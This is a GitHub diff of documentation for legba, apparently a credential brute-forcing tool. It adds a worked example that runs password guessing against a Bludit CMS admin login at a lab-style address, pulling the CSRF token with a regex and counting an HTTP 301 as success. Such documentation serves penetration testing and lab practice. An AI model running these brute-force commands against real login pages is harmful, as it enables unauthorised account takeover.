File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -254,12 +254,26 @@ legba http \
254254 --username admin \
255255 --password wordlists/passwords.txt \
256256 --target http://localhost:8888/ \
257- --http-csrf-page http://localhost:8888/ \ # where to grab the CSRF token from, or empty if it's the same as --target
257+ --http-csrf-page http://localhost:8888/ \ # where to grab the CSRF token from
258258 --http-csrf-regexp ' <input type="hidden" name="([^\"]+)" value="([^\"]+)"' \ # regular expression to extract it
259259 --http-method POST \
260260 --http-payload ' user={USERNAME}&pass={PASSWORD}'
261261```
262262
263+ Practical example for the Bludit CMS:
264+
265+ ``` sh
266+ legba http \
267+ --username admin \
268+ --password /path/to/your/wordlist.txt \
269+ -T http://10.10.10.191/admin/ \
270+ --http-csrf-page http://10.10.10.191/admin/ \
271+ --http-csrf-regexp ' id="jstokenCSRF" name="([^\"]+)" value="([^\"]+)"' \
272+ --http-method POST \
273+ --http-payload ' username={USERNAME}&password={PASSWORD}' \
274+ --http-success ' status == 301'
275+ ```
276+
263277Targeting an example Microsoft Exchange server via OWA:
264278
265279``` sh
You can’t perform that action at this time.
0 commit comments